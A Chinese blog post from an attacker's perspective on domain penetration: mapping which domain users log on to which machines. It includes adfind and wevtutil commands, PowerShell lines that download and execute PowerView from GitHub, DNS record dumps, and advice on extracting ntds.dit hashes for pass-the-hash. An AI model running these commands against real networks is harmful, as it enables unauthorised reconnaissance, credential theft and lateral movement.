6、域滲透中查詢域使用者對域成員機器關係

FLy_鵬程萬里發表於2018-06-11

域使用者預設可以登入域內所有計算機,為什麼預設情況下所有的域使用者可以登入所有的域成員機器呢?因為域管理員在新增使用者時 該域使用者預設就會存在域使用者組中(domain users),而預設加入域的域成員機器其本地的user組中包含了全域性的domain users 組成員,而域成員機器本地組策略中 允許在本地登陸 屬性中包含了本地users組。 所以域管理員為了安全通常會限制域使用者只能登陸指定計算機。

第一種方法是設定域使用者只能登陸到指定計算機;可通過在使用在域管理員賬號在域控制器進行設定。如下圖


在滲透中可以通過查詢的域使用者的userWorkstations屬性檢視 其指定登陸的機器 可以用adfind用來查詢

adfind -h 192.168.221.130 -sc u:test
adfind -h 192.168.221.130 -sc u:test | findstr userWorkstations //非域許可權執行需要指定賬戶密碼


當然使用powerview可以實現:

powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1');Get-NetUser -Domain test.xcsec.com > C\Programdata\test.txt" //domain引數請加完整的域名

userworkstations : 08SER 可以看到userworkstations指定的機器


第二種設定方案通過修改組策略實現,設定方法比較靈活

在域成員機器中開啟Secpol.msc,依次展開計算機配置-策略-windows設定-安全設定-本地策略-使用者許可權分配,通過修改屬性 "允許本地登陸" 中包含的組實現,設定方法比較靈活;
可以在該屬性中只允許本地管理員組使用者登陸,然後把指定域使用者加入到的域成員機器本地管理員組。或者通過直接在該"允許本地登陸"中新增想要登陸的組和域成員名即可 //開啟secpol.msc 需要本地管理員許可權或者域管理員許可權


如上即可實現該域成員機器指定僅域使用者test\12121登陸

若管理員如上設定我們可通過查詢計算機的本地管理員來獲取域使用者和計算機的關係。使用powerview可以實現:

powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1');Invoke-EnumerateLocalAdmin > C:\Programdata\test.txt"


當然在沒有拿到域管許可權前也可用 PVEFindADUser.exe psloggedon.exe netsess.exe hunter.exe等來進行活躍使用者和域成員機器的關係對應的,這些工具基本都使用了NetSessionEnum API

在拿到了域管的情況下,可以通過匯出dc上面dns解析記錄 和dc 系統安全日誌以及域活動目錄ntds.dit ip地址 對應 使用者名稱 對應 ntlmhash,然後配合hash傳遞做到精準打擊目標機器;
當然你也可以直接給使用者設定登陸指令碼,達到指定使用者登陸時執行命令

關於dns 解析的記錄匯出,通常dc預設都是dns伺服器,所以自帶dnscmd這個工具
例子如下

dnscmd 127.0.0.1 /enumrecords test.xcsec.com test.xcsec.com. /type A //利用dnscmd匯出dns正向解析記錄
dnscmd 127.0.0.1 /zoneprint test.xcsec.com >1.txt //

具體用法:https://technet.microsoft.com/zh-cn/library/cc772069
如果該dc也是dhcp伺服器,可以使用dhcpcmd進行檢視,也可以使用卷影複製c:\windows\system32\dhcp\dhcp.mdb 進行離線檢視dhcp配置


關於dc日誌的匯出,我們可以使用wevtutil.exe psloglist.exe 或者powershell 的Get-WinEvent模組進行日誌匯出;2003的域控可使用eventquery.vbs匯出

已windows自帶的wevtutil為例,匯出日誌

wevtutil qe security /f:text /q:*[System[(EventID=4624)]] #查詢登入日誌語法wevtutil qe security /rd:true /f:text /q:"*[system/eventid=4624 and 4623 and 4627]" #查詢所有登入、登出相關的日誌語法
wevtutil qe security /rd:true /f:text /q:"*[system/eventid=4624 and 4623 and 4672]" /r:dc1 /u:administrator /p:password #遠端查詢時在後面加入/r:computer /u:user /p:password 比如查詢dc1上的登入登出日誌

wevtutil 支援很多過濾語法,若有需要請檢視官方說明

匯出域控登入日誌到域控上:

wevtutil epl Security C:\ProgramData\dc.evtx /q:"*[EventData[Data[@Name='LogonType']='3'] and System[(EventID=4624) and TimeCreated[timediff(@SystemTime) <= 2592000000]]]" /r:域控IP /u:域管 /p:域管密碼

本地使用LogParser日誌分析工具整理匯出的日誌,然後去除重複資料、無效資料(以$結束的使用者名稱):

LogParser.exe -i:EVT -o txt "SELECT TO_UPPERCASE(EXTRACT_TOKEN(Strings,5,'|')) as USERNAME,TO_UPPERCASE(EXTRACT_TOKEN(Strings,18,'|')) as SOURCE_IP FROM C:\ProgramData\log.evtx" > C:\ProgramData\log.txt


tips: 很多朋友說匯出來的日誌查詢不到一些使用者和機器的對應的關係;請將所有域控的日誌都匯出來,因為域成員機本身配置域內dns並不是都一樣的,並且在進行登陸驗證所請求的域控也是通過dclocater 演算法進行查詢。

相關文章